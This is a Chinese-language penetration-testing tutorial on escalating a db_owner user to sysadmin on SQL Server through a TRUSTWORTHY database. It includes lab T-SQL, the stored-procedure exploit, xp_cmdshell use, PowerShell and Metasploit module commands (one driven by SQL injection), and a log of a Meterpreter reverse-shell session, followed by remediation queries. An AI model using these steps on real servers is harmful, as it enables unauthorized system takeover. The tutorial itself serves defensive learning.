科普:从基础开始谈Sql Server数据库渗透

发布时间:2023-02-19 15:30

SQL Server允许DBA(数据库管理员)设置可信数据库。简单的说可信数据库就是可以进入外部资源,就像网络分享,Email function,其他数据库对象。这并不总是坏事,但是当系统管理员创建一个可信数据库但是没有将拥有权限设置完美,那么风险也就暴露出来了。在这篇文章中,我将展示用户普遍是怎样为Web应用创建数据库,当SQL Server数据库所有权配置不合理时我们怎么进行提权。我想渗透测试师,应用开发者,以及网络安全爱好者会喜欢这篇文。话说大多数DBA应该已经知道这些东西了。

我会提供基础的实验步骤指导,如果你认为没有性趣(Ps.小编任性了)可以随意挑着看:

Setting up a Lab

Attacking Vulnerable Databases

Automating the Attack PowerShell

Automating the Attack Metasploit

Automating the Attack via SQL Injection with Metasploit

Options for Fixing the Issue

创建实验环境
接下来我会提供一个实例来演示建立一个SQL Server服务器的基本步骤。

下载Microsoft SQL Server Express 并安装SQL Server Management Studio。

按照向导一步步安装SQL Server,但请确保开启了混合验证模式以及在本地开启了相关服务。

在安装使用SQL Server Management Studio程序时使用“SA”帐户登录SQL Server并进行设置。单击“New Query”(新建查询)按钮使用TSQL,下面就创建一个名为“MyAPPDb”的数据库吧。

-- Create database
CREATE DATABASE MyAppDb 
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyAppDb'


单击新建查询,使用TSQL,接下来我们我们创建一个名为“MyAppUser”的SQL Server用户。在真实场景中DBA会创建一个帐户用来连接数据库服务器。

-- Create login
CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

单击新建查询然后还是看到TSQL窗口。接下来为MyAppUser用户在MyAppDb数据库中分配权限。在真实环境中DBA可能这样做,这样一个SQL Server帐户登录后,就可以使用他能够使用的数据库。

-- Setup MyAppUsers the db_owner role in MyAppDb
USE MyAppDb
ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
EXEC sp_addrolemember [db_owner], [MyAppUser];

确认MyAppUser已经添加了所有权。

-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)


设置MyAppDb数据库为可信

ALTER DATABASE MyAppDb SET TRUSTWORTHY ON

下面的查询会返回SQL Server中所有的数据库,MyAppDb以及MSDB数据库会被标记成可信。

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;


使用TSQL开启xp_cmdshell,开启这个会简化我们的实验。即使我们没有开启它,它也可能被攻击者利用。

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
 
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

攻击可信数据库
据Microsoft指出,一个系统管理员配置可信数据库的权限时,会有意无意的允许特权帐户提升数据库的权限。据我观察,这句话部分正确。在某些场景中,也有可能是非特权用户提升权限,以后我会在博文中介绍。现在你就可以依照说明提升MyAppUser

用户的权限了。

注意:以下所述是在SQL Server 2005,2008,2012版本中测试的,其他版本作者没有测试。

使用MyAppUser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate_me的存储过程。这个存储过程在OWNER权限中运行,这是sa帐户存在的情况。由于是使用sa权限登录的,所以这可能将MyAppUser加入系统管理员组。另外,这真的是很可能的事情,因为db_owner角色可以在数据库中任意创建存储过程,并且这个数据库还被配置成可信的。

-- Create a stored procedure to add MyAppUser to sysadmin role
USE MyAppDb
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO

确认MyAppUser并不是系统管理员

--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')


、接下来,执行存储过程添加MyAppUser用户到sysadmin

-- Execute stored procedure to get sysadmin role
USE MyAppDb
EXEC sp_elevate_me

最后,我们查询下MyAppUser用户是否拥有系统管理员权限了。

-- Verify sysadmin role was added
SELECT is_srvrolemember('sysadmin')


好了,我们现在拥有了系统管理员权限,我们就可以执行操作系统的命令了,就像下面这条

-- Verify sysadmin role
EXEC master..xp_cmdshell 'whoami'


如果你还是对这个过程所发生的细节有疑问,那么我们就来一个总结吧。

sa帐户是MyAppDb数据库拥有者(database owner)

MyAppUser在MyAppDb数据库中,拥有db_owner在该数据库中的权限,简单点说就是MyAppUser用户在这个数据库中有管理权限。

因为MyAppUser帐户本质上就是MyAppDb数据库中的管理员,它可以像所有者权限一样去执行命令。

在上面例子中,我们只是简单的使用OWNER权限执行命令,创建了一个存储过程(存在sa帐户情况)将MyAppUser添加到系统管理员组。大爱,现在我们就是Sysadmin了!

使用PowerShell进行自动化攻击
我将一个小型的PowerShell脚本放入自动化攻击中。下面的截图就展示了一些基本操作。如果你感兴趣的话,可以在这里下载。它支持将当前用户添加到Sysadmin组中,以及创建一个全新的拥有Sysadmin权限的用户。更多细节问题可以参照帮助文档。

Import-Module  .\Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184


使用Metasploit进行自动化攻击
我知道有些朋友喜欢Metasploit,所以同样的我也有创建一个自动化攻击module。这会有利用网络渗透测试师的工作了。首先,感谢Juan Vazquez,Joshua Smith以及Spencer McIntrye的帮助,这个Metasploit 框架才得以面世。

下面是基础操作步骤。

在Kali中键入“msfupdate”从Rapid7中更新Metasploit Framework。
在终端窗口中运行“msfconsole”
选择并安装这个模块,但是一定要记得将目标信息替换了。

use auxiliary/admin/mssql/mssql_esclate_dbowner
set rhost 172.20.10.2
set rport 1433
set username db1_owner
set password MyPassword!

打开显示选项,用以确保一切正常。

如果一切都准备好,那么就开始运行吧。

现在你可以使用像“mssql_payload”的模块获取shell了。

msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set rhost 172.20.10.2
rhost => 172.20.10.2
msf exploit(mssql_payload) > set rport 1433
rport => 1433
msf exploit(mssql_payload) > set username db1_owner
username => db1_owner
msf exploit(mssql_payload) > set password MyPassword!
password => MyPassword!
msf exploit(mssql_payload) > exploit
 
[*] Started reverse handler on 192.168.91.128:4444
[*] The server may have xp_cmdshell disabled, trying to enable it...
[*] Command Stager progress -   1.47% done (1499/102246 bytes)
...[SNIP]...
[*] Sending stage (769536 bytes) to 192.168.91.1
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

使用Metasploit进行SQL注入自动化攻击
在外部网络渗透测试中,最容易找的便是SQL注入了。这也是为什么,我会写这个模块的原因。必须再提一次,感谢Juan Vazquez和Joshua Smith这俩基友的帮助,这个模块才能够面世。

     在Kali中键入“msfupdate”从Rapid7中更新Metasploit Framework。
     在终端窗口中运行“msfconsole”
     选择并安装这个模块,但是一定要记得将目标信息替换了。
 

use auxiliary/admin/mssql/mssql_esclate_dbowner_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--

打开显示选项,以确保一切正常

如果一切都准备好,那么就开始运行吧。

现在你可以使用像“mssql_payload_sqli”的模块,或者PowerShell映射技术获取shells

修复这个问题
Microsoft有一些不错的建议,帮助预防这种类型的攻击,所以我建议去查看他们的网站获取更多信息。自然的,修复会改变开发环境,应用,接下来会有一些选择帮助你一步一步修复。

检查设置为“TRUSTWORTHY”并且是sysadmin拥有所有权的数据库。

SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

如果存在,那么将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB)。这可以帮助防止,在存储过程中执行xp_cmdshell和一些其他恶意的操作。它还将执行一个仅允许存储过程查询相关数据库信息的沙盒。

ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF

另外,考虑数据库中的用户是不是有sysadmin权限。如果你的应用程序需要从外部数据库访问对象,那么下面有些方法可以替代可信数据库。CLR存储过程等,其他常见选项包括:

开启“cross db ownership chain” 但是这也会有一定风险。更多相关信息可以查看http://msdn.microsoft.com/en-us/library/ms188694.aspx.

分配应用程序组所需要的外部对象权限,但这对于管理又有一定麻烦。

使用认证用户,访问外部存储过程需要得到认证。这是我目前认为最靠谱的解决方案,你可以到微软官网去看看,http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Wrap Up
这篇文主要是帮助渗透测试师,开发者以及dev-ops了解一些常见的SQL Server错误配置。攻击可以直接通过数据库直接连接,但最有可能是对web,桌面,移动应用进行SQL注入。最后希望这篇文,你能够喜欢!

References
http://technet.microsoft.com/en-us/library/ms188304(v=sql.105).aspx
http://msdn.microsoft.com/en-us/library/ms176112.aspx
http://www.troyhunt.com/2012/12/stored-procedures-and-orms-wont-save.html
http://blogs.msdn.com/b/brian_swan/archive/2011/02/16/do-stored-procedures-protect-against-sql-injection.aspx
http://www.codeproject.com/Tips/586207/How-to-prevent-SQL-Injection-in-Stored-Procedures
http://stackoverflow.com/questions/5079457/how-do-i-find-a-stored-procedure-containing-text
http://msdn.microsoft.com/en-us/library/ms176105.aspx
http://www.sommarskog.se/grantperm.html#execascaller
http://msdn.microsoft.com/en-us/library/ms188304.aspx
http://sqljunkieshare.com/2012/02/22/what-is-is_trustworthy_on-option-in-sql-server/
http://support.microsoft.com/kb/2183687
http://technet.microsoft.com/en-us/library/ms180977(v=sql.90).aspx
http://msdn.microsoft.com/en-us/library/bb669065(v=vs.110).aspx

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号